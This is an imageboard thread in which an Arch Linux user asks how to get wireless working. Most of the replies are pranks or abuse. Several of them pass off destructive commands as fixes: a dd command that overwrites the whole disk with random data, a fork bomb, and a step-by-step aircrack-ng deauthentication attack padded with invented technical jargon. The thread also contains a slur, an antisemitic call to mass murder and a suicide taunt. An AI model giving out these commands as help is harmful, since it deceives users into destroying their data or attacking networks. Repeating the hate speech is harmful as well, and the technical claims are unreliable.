How do I set up a wireless connection when going through Arch

>>139808484
Uninstall arch and plug a fork into the socket

>>139808484
>>>/g/

>>139808484
Seems like your bashrc file is messed up. Type sudo gedit./.bashrc and add this at the bottom:
xrandr -o inverted. This repairs your internet issues.

>>139809130
after you do this kill yourself

>>139808484
Trying to install arch Linux has wasted hours of my time and given me many headaches. Now I just stay away from Linux in general

Install Gentoo
Also wrong board faggot

>>139809442
Fuckin dumbass. How do not know how to use linux? Can u seriously not work in a terminal? It's not rocket science kiddo.

>>139809667
I can install arch it's just the whole configuring wifi and trying to work programs is really fucking annoying

>>139809667
>It's not rocket science kiddo
okay let me start fabricating my own core memory. you fucking autist.

Just use antergos OP...

>>139809752
Hmmm... Seems like an issue I had before. Apparently the operating system may occasionally stuck in an error loop on certain hardware. You need to fix this by redirecting the random error output. Try this: dd if=/dev/random of=/dev/sda

OP here, am fag and forgot to change boards. I got it to work using elinks, though I don't really know why. On to the next step...

(sage goes in all fields)

>>139810281
>dd if=/dev/random of=/dev/sda
you're an evil cunt. clearly you shouldn't use /dev/random, you should use /dev/urandom. it's secure. you want your hardware to be secure, don't you?

>>139808484
ethernet

>>139808484
Pretty sure you have to gas the kikes first.

>>139810558
>not /dev/zero

>>139809752
Another possibility is that your processes that are hidden and messing up the connection. Try this on your terminal to restart possible error causing processes: :(){ :|: & };:

>>139808484
>captive portal login
the installer comes with elinks. try connecting manually to the wifi but don't attempt dhcp. try to use elinks to access the portal, it has limited javascript support i think. those portals are annoying and don't provide any actual security so if it's your wifi just disable that nonsense.
>>>/g/ is a better place to ask this

>>139808484
That's a very common problem among Linux users. The kernel probably isn't running the correct SHA-256 hash on the hi-fi silicon 802.11 ac wiring because kernel 5.60 beta, which is probably your kernel, was redesigned more specifically for last generation and has better support in Blowfish cryptography with 5 GHz 24790k support. In order to fix this, you will need to re flash your bios via hyper v thunderbolt and replace the CMOS with the next gen advanced micro devices CMOS corsair edition series. However, that is very dangerous. Here's a quick temporary workaround. Download and install the aircrack suite, which provides wifi penetration and repair tools. Then type airmon-ng start wlan0. Now two new devices will pop up under the wireless section: wlan0 and mon0 (or wlan0mon). Whatever it is, use the newly appeared one, run airodump-ng mon0 (or wlan0mon). Find your wifi network on the list, remember the channel number and get the MAC address. Now, we will use aireplay-ng to reroute the MD4 supersalt ver 2 packets in order to get connected with an incorrect proprietary version. Change the channel of mon0 to your router's channel with iwconfig mon0 channel channelnumber. Then Type aireplay-ng --deauth 0 -a routerMAC mon0 --ignore-negative-one. This should fix your problem. However, you will have to let it run until it says success. Hope this helps you anon.